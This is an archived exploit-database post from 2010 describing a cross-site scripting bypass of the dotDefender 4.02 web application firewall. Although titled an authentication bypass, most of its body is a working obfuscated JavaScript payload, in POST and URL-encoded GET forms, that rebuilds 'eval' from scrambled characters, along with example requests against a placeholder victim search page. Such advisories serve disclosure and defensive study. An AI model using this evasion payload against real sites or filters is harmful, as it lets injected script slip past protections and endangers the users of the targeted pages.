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dotDefender 4.02 Authentication Bypass Vulnerability

Posted on 13 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>dotDefender 4.02 Authentication Bypass Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================
dotDefender 4.02 Authentication Bypass Vulnerability
====================================================


dotDefender is prone to a XSS because it doesn't satinate the input vars
correctly. Injecting obfusctated JavaScript code based on references vars
assignment, the dotDefender WAF is vulnerable.
 
Class: Input Validation Error
Remote: Yes
Credit: David K. (SH4V)
Vulnerable: till 4.02
 
Exploit:
 
&lt;img src=&quot;WTF&quot; onError=&quot;{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source
)&quot; /&gt; //POST
 
&lt;img src=&quot;WTF&quot; onError=&quot;{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(
/0wn3d/.source)&quot; /&gt; //GET
 
EXAMPLES:
 
Blocked:
[victim]/search?q=%3Cimg%20src=%22WTF%22%20onError=%22{var%20{3:s,2:h,5:
a,0:v,4:n,1:e}
=%27earltv%27}[self][0][v%2Ba%2Be%2Bs]%28e%2Bs%2Bv%2Bh%2Bn%29%28/0wn3d/.
source%
29%22%20/%3E
 
Unblocked:
[victim]/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)
%20/%3E
 
More information here:
http://n3t-datagrams.net/docs/?/=21


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-13]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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